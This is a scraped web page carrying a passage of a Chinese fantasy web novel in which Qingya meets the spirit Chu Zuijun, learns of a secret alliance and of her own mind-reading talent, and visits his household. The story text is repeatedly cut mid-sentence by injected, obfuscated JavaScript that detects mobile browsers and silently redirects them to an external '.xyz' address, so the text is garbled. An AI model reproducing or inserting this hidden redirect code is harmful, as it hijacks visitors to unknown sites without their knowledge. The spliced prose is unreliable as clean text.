d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14311015|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵膏是长山做的,昨日见面匆忙,竟忘了问。她道:“炼丹房和无念堂的守卫也不是很严,我想再去那里看看。” 牡丹脸色骤然变得严肃,“你好大的胆子。就算国师是你的朋友,那里毕竟还是在皇宫范围内,陛下时不时也会去国师那里。昨晚要不是有迫在眉睫的需求,你姐姐绝对不会同意你去皇宫。但凡去那里,不仅你自己有危险,也会给他带去危险,你姐姐,小狼,都会有危险。” “哎呀,我就是想想。” 术士的结界对她没有作用,普通人身手又远远不如自己,她心底里还是认为自己可以轻松来去无念堂,答应的话却不是敷衍的答应。 一想到万一出事会牵连不知多少人,也就放弃了冒险的念头。再说既然已经知道长山是国师,那么以后打听他的消息也容易,比起之前一无所知的情况要好得多。 最重要的是,明白长山不是故意爽约,心性也还和以前一样,依然惦念着自己,就心安多了。 可是还没能见到阿远和裴浩。太子的东宫结界守卫只会比国师炼丹房更严,不必再让红鸾姐和牡丹姐给她分析,她就知道不能去。 她第无数次感叹:“想见见老朋友怎么这么难。” “谁让你的朋友们偏偏都在宫里。”牡丹道,“你想去的地方,想见的人我竟都帮不了你,实在过意不去。你还有没有其他的想做的事?想要的东西?但凡我能做到的,我一定帮忙。” 青崖想了想,她这次来京城第一目的就是成全小狼和芊芊,这个目的正在慢慢实现。第二个目的是看看五年前结识过的老朋友,但老朋友一个比一个难见到,只能暂且推迟。至于第三个目的…… 青崖抬眼望了望前方红鸾的背影。 牡丹兀自道:“京城的胭脂水粉都是别处没有的,还有许多漂亮衣裳,像你这个年纪的女孩子们都爱这些,不过你姐姐手艺那么好,你大概不稀罕其他人做的衣裳,这样吧,我改日带你去几家我熟悉的玉器店铺给你打个手镯……” “牡丹姐,”青崖反握住牡丹的手,压低了声音,“你认得我姐姐以前的恋人吗?” 牡丹正在丈量青崖的手腕,听到这话停了下来,道:“哎,这个问题我又没法回答你了,因为我的确不知道,她那时被恋人背叛,伤心极了,什么都不肯说。” “这样啊……”青崖有些泄气。 小狼今日走的时候跟她挤眉弄眼,就是提醒她向牡丹打听这件事。他们都以为牡丹姐一定知道那个辜负红鸾姐、想要挖红鸾心的恶毒之人是谁,没想到牡丹姐也不知道。 算年龄,那人只比红鸾姐年长几岁,现在应当还在世。根据红鸾描述,那人属于一个大家族,世代都在京城,现在应当也在京城,但红鸾来京后,竟当那人不存在一样,没有去找过,甚至提也没提过。 青崖感到有些奇怪。姐姐如此表现,仅仅是因为伤心事不愿提起,还是另有其他原因?是不是那人家族势力太大,实在不好报仇? 牡丹对于再次不能回答她的问题而过意不去,继续说着打手镯的事,道:“我那有一块压箱底的羊脂玉,就用那个……” “牡丹姐,你知道怎么雇杀手吗?”青崖问。 凡事有备无患,不知道是姐姐的负心人是谁,不耽误她与小狼先做一做帮姐姐出气报仇的准备。 牡丹把自己的手从她手里拽走,退后三步,无语凝视她半晌,转头对着红鸾背影喊道:“红老板,你慢点走,我给你介绍介绍这宅院!” 58. 第 58 章 京城人多,术士也多。常有便装的术士在街上巡逻,为了以防万一,青崖姐弟三人每次出门都要使用隐灵膏,隐灵膏渐渐见了底。 为了节省隐灵膏,方便小狼随时去拜访芊芊家,青崖和红鸾开始减少外出,大部分时候都在宅院里待着,或者在牡丹府中消遣,足足待了十日,实在气闷才出去走走。 这日她们到牡丹的清妙坊去看歌舞,作为交换,前一日才去拜访过芊芊家的小狼被闷在了宅院里。 牡丹平日里除了经营清妙坊、布庄,还时不时受邀去其他正经或不正经的舞楼指点舞技,或带清妙坊的舞队去一些贵人家的重要宴会上献舞献乐,极为忙碌,不能时时陪伴她们,因此只包厢里只有青崖与红鸾。 她们敞开窗门欣赏歌舞,落座没多久,青崖忽然指着两个白衣男子低呼:“姐姐,快看,是他!” 那两个男子正顺着游廊向她们走来,其中一个正是五年前操纵冰刃和她交过手的白衣男子。 他依旧手持一把折扇,风流倜傥,眉眼含笑。另一个白衣男子则面无表情,走在两步之后,安静地像一个影子,他的长相绝对算是俊俏,可不知为什么,只要视线一离开,就再也想不起他的面容。 更奇怪的是,青崖感到每当看到后面那个人时,体内就会有微微的波澜,如同灵力被莫名地牵动了。因此随着那两个白衣男子走近,她反而更关注后面那个看似不显眼的影子人。 拿着折扇的白衣男子直接走进她们的包厢,拱了拱手,道:“好久不见,二位美人还是这么美。在下日夜兼程赶回京,就是听说你们想早点见到我。” 青崖第一个想法便是此人和以前一样油嘴滑舌好不要脸,自己与姐姐何时想见他了? 而后五年前与现在的种种事情在心念中闪过,连成了一条隐约的线。 白衣男子是个水系灵族,五年前他引导自己去救了还是陵王的阿远,后来又是打伤她,又是烧了她的房子,又是降雨,还杀了平王,一切都为与哲远结交做铺垫。 他代表灵岛的灵族,想与哲远结盟,扶持哲远上位,条件是等哲远继位后,要取消《捉妖令》,还灵族自由。 哲远五年前离开槐谷后,平安返回京城,于次年成为太子。 当时与哲远一同离开的长山,也在次年摇身一变,改名换姓,以“临渊仙长”的身份,靠施法降雨扬名,在去年被封为国师。 “在下姓楚,名醉君。”男子笑意盈盈自我介绍。 青崖问:“你就是牡丹姐说的楚公子?” 虽然隐隐早有如此猜测,可当真的确定时,还是不免惊诧。楚醉君是灵,他想在京中有所图谋,必定需要一个假身份,所以他就成为了太常寺一名官员的儿子,这样的伪装,若非那官员配合,怕是难以造假。 楚醉君像见到熟人一般极自然地落座,熟络地摸走茶杯与茶壶,自己招待自己,道:“正是在下。” “是你叫牡丹坊主送……”青崖顿了一下,想起在公开场合,所有与灵族有关的字眼都不能明说,于是将“隐灵膏”换了个名字,道:“是你送白胭脂给我们的?你怎么知道她和我们有关系?” 楚醉君一听就知道她说的“白胭脂”是什么,道:“牡丹坊主是京城的风云人物,我既要到京城来,自然会对重要的人作深入了解,我知道她每年所派的商队会途经你们那里,略一调查,意外得知她与你们有交情。我当初不小心伤了小美人,还烧了你们的房子,送点‘白胭脂’,全当作赔礼道歉吧。” 红鸾目光犀利地盯着他,满是怀疑:“仅是道歉?” 楚醉君道:“难道美公子你还期望有别的什么原因?” 红鸾在京一直是男装打扮,此时穿了一身藏青浪纹薄衫,手中也拿着一把折扇轻轻扇动,看起来的确是个俊美公子。 夏日炎炎,就连门窗透过的风也是热的,可楚醉君一落座后,屋子里温度骤减,变得凉爽舒适。 红鸾放下扇子,冷冷道:“你想让牡丹坊主帮你做什么?” 以楚醉君的人脉与能力,直接把隐灵膏送到她们手上并不难,他却要用牡丹这条线,这让人不得不多想。 楚醉君悠然道:“我想先了解一下,你们到京城是来做什么的?” “我们到京城只是做些小事,比不上你在京城要做大事。” “是大事还是小事,美人不妨先说说看,也许我能帮你们?” 红鸾目光沉沉,“是不是每个来京城的……都要接受你的盘问?” 中间隐去不说的字是“灵”,楚醉君毫无障碍地听明白了,道:“接受我的盘问没什么不好,毕竟都是同族,若是我们目的一致还可以互相帮助,若是我们目的不一致,提前知会一声,只要不影响彼此的事情,也可以交个朋友。” 同族聚首,气氛却不太友好。两人来回推托,谁都不愿先坦白,青崖忍不住问:“你在京城做什么?目的……和五年前一样吗?” “还是这位小美人说话直爽。”楚醉君道,“这个问题嘛,原本是上等机密,但五年前你们助我达成第一步,那时就与你们说过,便没什么保密可言,的确,我的目的和五年前一样。” 那便是仍在暗中辅助哲远,等待哲远继位的那一天。 青崖一想到等哲远继位后,《捉妖令》就会被废止,那时候她与姐姐、小狼,还有天下的灵族都可以光明正大的行走于世间,抑制不住地提前开心了一下,再看楚醉君就顺眼了许多。 她在楚醉君堪称俊美的五官上扫了又扫,隐隐感到周遭氛围有些奇怪,却想不起哪里奇怪。 自己看不透面前这人的情绪与面相,生来敏感的直觉一到他面前就会失灵,这和五年前一样,没有什么意外,那种奇怪之感的来源不在他身上。 那源于什么? 青崖一边追踪那种怪异感觉,一边问道:“五年前,你护送阿远返回,那你也见过他身边的人吧?” 她故意没直接提长山的姓名,楚醉君却替他说了出来。 “我认得长山。”他道。 他声音不大,在外间乐曲声中,包厢里的声音没那么容易传出去。这个名字,只要他们不说,也没有人能和那位“临渊仙长”、当前国师联系在一起。 青崖也不避讳了,问:“他也和你们目的一样吗?“ 在世人眼中,国师与太子没有什么特殊关系,就连牡丹也没打听出过国师的出身。但青崖知道,他们之间可不仅仅是国师与太子的关系,他们曾一起在她那里借住三个月,从陌生到熟识。长山是哲远的救命恩人,后来,哲远为了报恩曾答应,如果长山有意从政,他愿意帮长山铺路。 哲远如今与楚醉君有约,那长山也免不了有所参与吧?长山深谙药理,隐灵膏十有八九就是他提供给楚醉君的。 听了青崖的问题,楚醉君买起了关子,道:“他的目的我就不知道了,你想去当面问问他吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323808|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 青崖心念一动,听出他说假话,正要向红鸾示意,发现楚醉君身边像影子一般毫无存在感的男子来到楚醉君身侧,在楚醉君耳旁悄声道:“青崖和我一样。” 看到这个人,青崖悚然一惊,知道心里那股怪异之感因何而来了——楚醉君是和身边这个白影子一样的男子一起来的,白影子进屋后就站在包厢角落,然而不知为何,方才对话过程中,自己竟完全忽略了他,直到白影子走动、说话,才意识到这包厢里还有第四个人。 青崖眼睛一眨不眨盯着这个白色影子一样的人,摇了摇红鸾的手,“姐姐,你能看到他吗?” 这话问得有些奇怪,但符合事实。白影子一样的男子明明是实体,却似乎随时可以悄无声息地消失,让人莫名其妙觉察不到他的存在。 “现在看到了。”红鸾道。 果然,之前姐姐也没注意到这第四人的存在。还有,他对楚醉君说自己和他一样?什么一样? “哦?”楚醉君眼里泛起一丝惊喜的波澜,放下茶杯道:“原来小美人也是灵识系?” 灵识系? 青崖看了红鸾一眼,红鸾轻轻摇头,表示也不知道这是什么意思。 楚醉君故意扮出几分夸张的优越感,戏谑道:“你们果然不知道。远离同伴,隐居深山,毕竟消息堵塞,孤陋寡闻也是正常的。” 青崖道:“我以为只有金木水火土系,灵识系是什么?” 门外游廊有人路过,楚醉君特意等那人走过去之后才压低声音解释:“灵识系,可以影响他人意识,辨别真假话,我刚才说了一句假话,你是不是立刻就听出来了?” 青崖指着白影子一样面无表情的男子,问:“那他这种让人意识不到他存在的能力……” “也是灵识系特有的,同系灵根相互感应更强,你就对他难道没有特别的感觉吗?” 的确有。在白影子与楚醉君一起走来时,的确感到体内灵力有微微波动,是从前没有过的波动。 这么说,自己真的是这个从没听说过的“灵识系”? 第一次知道自己的灵根属性,青崖却有些沮丧。 “这个灵识系好没用,一点也不厉害。” 不能像父亲那样催生草木,不能像姐姐那样召出火焰,也不能像楚醉君那样降雨、操纵冰刃,就连小狼的金灵根,也比这劳什子“灵识系”有意思。 太!没!用!了! 青崖在心中悲怆呐喊。 楚醉君却对她兴趣大增,道:“此处人多口杂,交流不便,二位美人可有时间到我家中去做客?你们的‘白胭脂’快用完了吧,正好我那里还有一些存货,可以再送你们一些。” 青崖没有立即应声,转头看着姐姐,等她拿主意。 她们想见楚醉君,除了想弄清对方的身份与目的,本来也是想再要一些隐灵膏。虽然楚醉君五年前利用了她们,但目的是为了灵族的未来,便可以不与他计较。现在同样是隐藏在京城的灵族,彼此都希望对方不要暴露身份,免得搅乱京城的太平,楚醉君主动提出赠送隐灵膏,无论出于什么目的,至少那东西是真的能帮她们大忙。 青崖看得出,无论五年前还是现在,楚醉君对她们都有结交笼络之意,这也许和他所谋的事有关,扶持皇子上位,改变两族的关系,这种事靠几个人是无法完成的,楚醉君大约见了有用的蚂蚁都想结交一下。 红鸾迟疑片刻,点头道:“好。” 59. 第 59 章 四人一起离开清妙坊,跟着楚醉君,到他家里去。 楚醉君家比起牡丹家要小一些,他们跨过朱红色门槛往里走时,庭院里面一行人正在往外走,双方打了个照面。对面走在前面的是两位年过半百的老人,看起来是主送客出,正商议下次会面的时间。 楚醉君对二人行了礼,很是随意地向左首那个身体微胖,肚腹微挺的老人道:“父亲要出门吗?” 老人停下脚步,看到楚醉君和跟在楚醉君身后的青崖与红鸾,皱起了眉头。 “混账东西!在外面花天酒地还不够,竟然把人带到家里来!” 声音中气十足,全不似一个老人。 说罢甚至举起拐杖大步走来,也不顾客人就在眼前,追着楚醉君作势要打,楚醉君脚底抹油溜得飞快,在庭院里贴着围墙跑了一圈,口中大声分辨:“不是不是!这是正经朋友!哎呦!糟老头子你怎么真打!信不信我回头把你院子给淹了!” 老人不听楚醉君分辨,怒不可遏,手里拿着拐,脚步却一点也不像需要用拐的人,院子里的花草树木被摧残了一遍,有两只狗也来凑热闹,对着追打的二人狂吠,其他仆人也没有上前劝说的,都在交头接耳看戏,也有的熟视无睹,就像见惯了这样的场面。 楚家老主人追着楚醉君打到一个墙角,树影挡住了他们的身形,青崖听见楚醉君悄声对老人道:“是我们那边的人。” 老人放下拐杖,哼了一声,故意大声道:“设宴酬谢朋友可以,若在家里胡闹,看我不把你赶出去!” 楚醉君父亲没有和青崖红鸾打招呼,继续送客人出门,貌似不经意地挡住了那老客的视线,老客知道这是不便围观的家事,识趣地没有多问,而是安慰道:“年轻人嘛,都是这样,你别气坏了身子。” 楚醉君引领红鸾和青崖到后厅坐下,道:“这里就安全了,我们可以继续先前的话题。姑娘说灵识系没用?此言差矣,灵识系极为稀有,鹤少就是灵识系,多亏有他,我才能在京中常驻。” 青崖有点佩服这人的厚脸皮,被“父亲”在客人面前追打了一顿,转眼就同没事人一样。 那个影子一样的鹤少,此刻没有施法,安静地坐在楚醉君身边,周遭气氛果然比先前在包厢里正常得多。 青崖道指着他问:“他除了能帮你分辨一下别人是否说谎,其他还能做什么?” 楚醉君道:“你以为我是怎么调查到牡丹坊主与你们有交情的?” 青崖猜测:“花钱买通商队里的人?买通了季师傅?” 商队里知道她们真实身份的只有季师傅。 “不必那么麻烦,而且花钱买来的还未必是真情报。” “那是怎么调查到的?” “靠读取牡丹坊主的记忆。” “读取记忆?”青崖有些吃惊,“这是灵识系的能力吗?能神不知鬼不觉地读取他人记忆?” “鹤少可以,”楚醉君道,“就算是相同灵根的灵,能拥有的能力也是不同的。所以你可以试试,但不一定能力完全与他相同。你结丹了吗?” 在京城,作为灵必备的能力就是收敛身上的灵气,所以楚醉君也分辨不出她是否已结丹。 “还没有。”青崖惭愧道。灵族大多二十左右结丹,但她是半灵,灵气积累比别人慢。 万一要四十岁才能结丹,那可太糟糕了。 楚醉君遗憾道:“灵族除了御物以外的能力,几乎都需要结丹后才能修出,可惜了,本来还想让鹤少教教你呢。” 青崖深深叹气。 “你什么时候读的牡丹的记忆?”红鸾问道。作为牡丹的好友,不免担忧,“你读取她记忆不会对她有损伤吗?” 楚醉君将视线投向鹤少,示意让他解释。 “被读取记忆后会头痛,若不严重,过两日就会恢复正常。”鹤少用古井无波的语气道,“有无损伤看怎么读,读多深。普通人易读,同族人难读。去年八月一次共饮,我们给牡丹坊主下了一些迷药,楚君不想伤害牡丹坊主,坊主自己甚至没有察觉,因此我读到的不多,恰好知道你们是旧友。” 见红鸾脸色略有缓和,楚醉君道:“坦白了这么多,二位美人应当能相信我绝无歹意了吧?那么你们是否还和五年前一样,只想做不问世事的山野小妖?” 红鸾道:“我不想带弟弟妹妹涉险。你布局这么多年,想必也不差他们一两个灵。” “他们?”楚醉君抓住了关键重点,“也就是说,你不想让他们涉险,但你自己可以?” “等我安排好他们以后或许可以。” 姐姐的回答在青崖意料之中。 要不是有什么特殊打算,姐姐就不会让牡丹姐年年收集各路信息了。青崖不甘心被排除在外,忙道:“要做什么?我也可以参与!” 红鸾道:“你尚未结丹,灵力微弱,不许冒险,再说,小狼比你小,他需要有人照看。” “可我功夫好呀……”青崖想说自己速度快,五感强,可以通过术士的防妖结界,可被红鸾一瞪,剩下的话都没有说出口。 楚醉君似乎看出了一些端倪,道:“灵识系技能便于收集各种信息,可若没有结丹,除了可以辨谎,不能读取他人记忆,能力的确有些无用。灵识系就算稀有,我也曾见过好几个,而似青崖这般,父亲是人,母亲是灵的后代,我只见过你一个,你除了灵族的天赋,是不是还有其他特别的能力?” 青崖正要开口,红鸾就抢着道:“她没有。” 长久沉默的鹤少轻轻摇了摇头。 “美公子莫要忘了,”楚醉君看了鹤少一眼,道:“有他们这两个灵识系在,我们双方谁也不能说谎。那不如一人一个问题,能答则答,不能答就换问题,我们平等的交换信息可好?” …… 一番提问之后,双方对彼此都有了初步的了解。 大约二十年前,汤固创立“诛邪司”时,楚醉君也创立了一个名叫“开天盟”的组织,算是与之对抗,这个组织致力于改善两族的关系,起初专门给散落在各处的灵族提供帮助,中间经历许多或成功或失败的计划,目前以辅佐哲远为首要任务。灵岛岛主鹤夫人也支持开天盟的计划,刺杀平王、助陵王成为太子、让长山成为国师等,都是开天盟的手笔。 而配合长山降雨的,就是楚醉君。隐灵膏则是长山加入开天盟后,为了方便盟中的灵族应对术士验身而制作的灵药。 楚醉君也问了青崖与红鸾许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345617|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,知道了她们来京是为弟弟求亲,每问到青崖有什么特别能力,红鸾都拒绝回答。 青崖知道,姐姐是在保护自己,生怕楚醉君再利用自己去做什么危险的事。 如此听来,楚醉君回到京城后应当还没有与长山联系过,或者联系过,但长山并没有告诉他自己曾去过无念堂,否则楚醉君定会知道自己可以通过防妖结界这件事。 长山为什么没有告诉楚醉君?也是为了保护我吗? 青崖有些感动,也有些不服气,如果总处于被保护的位置,会显得自己很没用。姐姐先前还说此行什么都让她自己做主,而面对楚醉君的拉拢,姐姐又替自己做主,直截了当地拒绝了。 楚醉君与红鸾针锋相对般的一问一答将近尾声,初步了解之后,更深入的问题,双方都不愿回答,拒绝答复后,又提一个对方明显不能答的问题,用以扯平彼此拒答的次数。 楚醉君问:“为什么不应邀去灵岛?”红鸾就问:“当朝官员中有谁是开天盟的人?”楚醉君问:“牡丹布下了多少眼线帮你搜集消息?”红鸾就问:“你们的人除了隐灵膏是不是还有其他应对术士验身的方法?” 青崖见两人都不正经交流了,就插嘴问楚醉君:“你知不知道怎么雇杀手?” 这一下,两人都停下来转头看向她。 青崖无谓地耸了耸肩,“反正是问对方没法回答的问题嘛。” 楚醉君饶有兴趣道:“这个问题我还真能答,我知道怎么雇……” “你不知道。”红鸾用充满威胁意味的眼神紧盯着他,恨不能将视线化作封条封住楚醉君的嘴。弟弟妹妹雇杀手是为了什么,她心知肚明,但那并非她所愿。 “你不像她们的姐姐,”楚醉君道,“你像她们的老母亲,不知这背后是否还有一位老父亲?” “……” 正在这时,一串轻快的脚步声从外面传来,然后一个微胖的人影从门口探出半边身子,爽朗地问楚醉君:“什么人啊?我能认识认识吗?” 是楚醉君的“父亲”。他脸上皱纹不多,之所以显得老态,主要因为须发间的银丝、故意扮老的着装与手里那根磨得油光发亮的拐杖。现在四下没有旁人,他一改之前端着的老年人模样,两撇胡子里都透露着欢快,把拐杖舞得像佩剑一样。 楚醉君将他迎进屋,道:“重新介绍一下,这位是楚怀义,我的朋友。” 青崖:“朋友?” “对,他与我同龄,我们六岁相识,至今已有四十年。” 同样四十多岁,楚醉君还是年轻公子的外表,而楚怀义已可以装成年过半百的模样。 楚怀义摇头晃脑道:“虽然同龄,但是他得管我叫爹。” 楚醉君道:“凡有机会面圣的人,都要接受诛邪司的重重检查,那些方法比鉴形墨复杂得多,所以灵族没有机会入朝堂,但朝堂上必须得有我们的人,有些事只能由他这样的普通人去做。他的官位不高,只是个闲职。现在假扮我父亲,就是为了让我在京中有个名正言顺的身份。” 楚怀义:“但是他得管我叫爹。” 楚醉君:“只论生日,我其实比他年长一个月。” 楚怀义:“但是他得管我叫爹。” 60. 第 60 章 “我儿子画的美人舞女图怎么样?” 正事聊完,楚怀义将青崖与红鸾带到书房,一脸骄傲地指着书房里的画问她们。 明明不是真的父子关系,屋里也没有外人,他却一直把“我儿子”三个字挂在嘴边。楚醉君纠正了几次,楚怀义都“没听见”,也不知是不是气得,进入书房后,楚醉君话都变少了,只有楚怀义一直滔滔不绝,翻出一堆楚醉君的画作给她们展示。 楚醉君的画算得上画工精良,全都是都是跳舞的美人图。奇怪的是其中有相当一部分美人都没有画上五官,有些像牡丹舞谱上专门记录舞蹈动作的画法,不过在他的画中,人物的服装要比舞谱上的小人精细得多。甚至因没有五官,会叫看画的人不自觉地更关注人物身上的舞裙,他也特意将各式各样的舞裙翩然翻飞的状态描绘得惟妙惟肖,细腻动人。 这样的画作,与其说是“美人图”或“舞女图”,不如说是“舞裙图”更为合适,因为重点分明在舞者衣裙。 青崖欣赏了好些没有画出五官的“舞裙图”,突然发现有些眼熟,道:“前几年牡丹姐寄给我们的东西里,有时里面会夹带几张美人图,和你这画的画工很像,莫非是你画的?” “牡丹坊主的确曾向我讨要过几幅画,原来她转送给了你们?”楚醉自得点头,“我画得如何?” “画得太好啦!”最不擅长画人像的青崖大为赞赏,“我姐姐收到后也很喜欢,她挂了好几幅在她屋里的墙上呢!” 不仅如此,姐姐还常常端详那几幅画,她说,透过那些画既能看到她亲手制作的裙衫穿在舞者身上是什么样子,也能感受到他人对她手艺的肯定与欣赏。 这个“他人”指的就是专门为她制作的舞裙作画的人。 “你姐姐手艺精湛,若是在京城那条锦绣街,任何一件衣服都价值不菲,一定也会有许多人找她定做衣裳,”楚醉君道,“只可惜你们一直隐居在深山野林里,真是埋没了一手好技艺。” 锦绣街就是清妙坊所在的那条街,街旁店铺里的贩卖的东西无一不是名贵之物,更有许多价值连城的好东西。青崖一向知道姐姐绣工好,做出来的衣裳也华贵好看,可她没想到,姐姐做的衣裳竟是能在京中的名贵好物中占有一席之地。 红鸾丝毫没有为楚醉君的赞美而表现出丝毫开心,仍是一副拒人于千里之外的样子,道:“给我们一些隐灵膏,我们该走了。” “引灵膏存放在地下密室之中,”楚醉君道,“跟我去取吧。“ 青崖留意到姐姐的眼神在画像上流连,分明是很喜欢那些画的样子,便道:“我同你去取,让姐姐在这里等我。” 楚醉君领着她离开书房,沿着一条竹林小径,走向宅院后方。 在路上,青崖问:“那个怀义大哥……伯伯……哎呀,怎么称呼他好?“ 按东莱国习俗,以她与楚怀义之间的年龄差,应该叫伯伯,但与他同龄的牡丹,青崖就叫“牡丹姐”,眼前与楚怀义同龄的楚醉君与自己同族,外表年纪与真实年纪都与姐姐差不多,按照灵族习惯,自己完全可以叫他“楚大哥”,若把楚怀义当楚醉君的朋友,或许也该称呼他“怀义大哥”而不是“大伯”? “就叫他楚老爷吧,”楚醉君随和道,“他现在很享受当我‘爹’,在京城,他是楚老爷,我是楚少爷。不过,与我一起共事的朋友们都叫我楚君,你也可以这样称呼我。” “这是真名吗?你们正好同姓?” “是真名。我是灵族,无父无母,他呢,是个孤儿。我们从小一起长大,十七岁之前没有正式的名字,现在的名字是我们长大后自己选的,因为关系好得像亲兄弟,所以就选了一样的姓,那时候还没料到,有朝一日,好兄弟会变成好‘父子’。” 青崖想起进门时楚怀义把楚醉君叫做“混账东西”,楚醉君则把楚怀义叫做“糟老头子”,不由打趣:“你们的兄弟情很好,‘父子’情却并不算好。” 不过看他们两个都爱开玩笑的性格,还真是像亲兄弟,或者“亲父子”。 “楚老爷假扮你的父亲,那谁假扮你的母亲?”青崖又问。 “此事牵涉的人越少越好,”楚醉君道,“所以我们对外宣称,楚怀义从未娶妻,我是他在外拈花惹草时生下的私生子,前几年才接回京城来。” “私生子”不是什么好名声,但安在这位楚君身上,似乎格外符合他的气质,别人看来大约也是如此:楚少爷过了婚配年龄仍然没有成家,风流得日日去逛舞楼,原是继承楚老爷子的做派。 “楚老爷真就一直没有娶妻吗?” 提到这个,楚醉君叹了口气,满是惋惜道:“确实没有婚配,他曾有过一个心上人,不过为了帮助我族实现夙愿,获得自由,为了进京入朝,他不得不放弃恋人。” 青崖本是随口一问,楚醉君却详细地讲了起来。 “那时候‘开天盟’还仅仅是一个口头计划,尚未真正建立。怀义和我都是计划中的关键参与者,他深知此事凶险,将来难免会有身不由己的时候,因此没有告诉那女子真相,在那女子向他表白心意时,拒绝了她。过了两年,我心怀愧疚,将真相告知那女子,本想促成这桩姻缘,谁知那女子听了之后勃然大怒,生气怀义不把真相告诉她,认为怀义是瞧不起她。为了赌气,她去做了一名术士。” “她知道内情却去做术士,你的‘开天盟’岂不是要被术士们知道了?” “‘开天盟’不是我的,”楚醉君纠正,“是天下仁人义士为了推进人族与灵族的和平,共同建立的组织,我只不过是牵头人之一而已。” 青崖发现了,每提到“开天盟”,楚醉君身上那股风流气就淡了不少,反而透出些坚韧的意气。 “是啊,那女子去做术士,一开始我也很是担心,”楚醉君道,“不过后来一直平安无事,我才确定那女子只是为了赌气,吓唬吓唬怀义,并没有真的要针对我们。” “他们后来和好了吗?” “很可惜,没有。”楚醉君摇头。 “既然她不是真的做术士,也知道了真相,为什么没和楚老爷和好?” 开天盟创立之初是在二十年前,那时候楚老爷和那女子还都是年轻男女,为什么不能重新开始?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397213|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “原因有二。”楚醉君道。 “一是因为那女子装模作样做假术士,意外发现自己有做真术士的本领。你知道,术士对付灵族使用的是煞气,也许和心境、天赋都有关,竟叫她自己摸索出了控制煞气的关窍,恰在那时汤固也刚成立诛邪司,发布告示广招徒弟。那时候大部分术士都是顶着术士之名招摇撞骗,汤固自己能操纵煞气,也能分辨其他术士究竟有没有按他的路数修炼术法的潜质,那女子试着去报名,居然真的被选进了诛邪司。她被招收后特意秘密来见我,说她也要加入‘开天盟’,在诛邪司里做开天盟的内应,帮我打探诛邪司内部的消息。” “进入诛邪司……她岂不是也得捉妖才行?” “没错,为了更宏大的目标,她有时候不得不捉几个妖以向朝廷表现自己的能力和忠心,”楚醉君道,“潜入敌方内部做内应这种事,非心智坚定者不可,她是个很了不起的女子,至今已给我们提供过无数次‘内部消息’,为我们布下当前局面起到了很重要的作用。” 青崖对那个女子肃然起敬,问:“她与楚老爷没能和好的第二个原因是什么?” “还是在赌气。”楚醉君道,“她实在气愤楚怀义不告诉她真相就拒绝她,害她连选择的机会也没有,因此非要和楚怀义比一比他们谁能更有成就,谁更重要,谁帮助的灵族更多,这一赌气,就赌了二十年。” “二十年。”青崖喃喃,这年份几乎等同于她的年岁。 她能理解那女子生气的理由,就在先前谈话时,她还对姐姐与长山保护她的举动生出了一丝排斥,也曾经为姐姐隐瞒真相替自己做主而与姐姐冷战。 不过……赌气二十年,那女子气性还真大。 这二十年,她要一直在诛邪司掩饰身份,和敌人相处成朋友,和朋友假装成敌人。 “她好厉害。”青崖感叹。“她现在也在京城吗?” “这我就不能说了,”楚醉君缓步踏上石阶,“你应当理解,她姓甚名谁,身在何方,都是不能随便与人说的。” “理解,”青崖点头,“但我有点不理解的是,你为什么突然这样详细地告诉我她的事?若为了保密,应当能不对人提起她就尽量不提起才对吧?” 楚醉君看向她的眼神里多了几分赞许,“你被红鸾保护得太好了,我想让你看看世道的另一面——另一种生活方式,另一种人生选择。希望你能明白,只要《捉妖令》还存在,我们灵族的头上就始终悬着一把利剑,不可能真正地坐享安宁。” 青崖一时感慨万千,不知该如何回应。 楚醉君讲那女子的事,除了想让她长长见识以外,自然是有意拉她与红鸾入伙的意思,言外之意是:“一个外族女子尚且如此为我族努力,你们怎么能心安理得偷闲?” 自己一直在槐谷隐居,除了五年前在未察觉的情况下被楚醉君利用,救了哲远,为“开天盟”帮了一点小忙,此后确实一直偷闲,这次来京城是为了给弟弟求亲,与那个人族女子一对比,自己还真是清闲自在。 青崖心里生出一种有手有脚却偷懒等着坐享他人果实的愧疚。 61. 第 61 章 跟着楚醉君绕过大堂,穿过庭院,走进一间卧房。看到条几上放着的焦尾琴、多宝阁里数十柄不同样式的折扇,不用猜便知道,这是楚醉君的卧房。 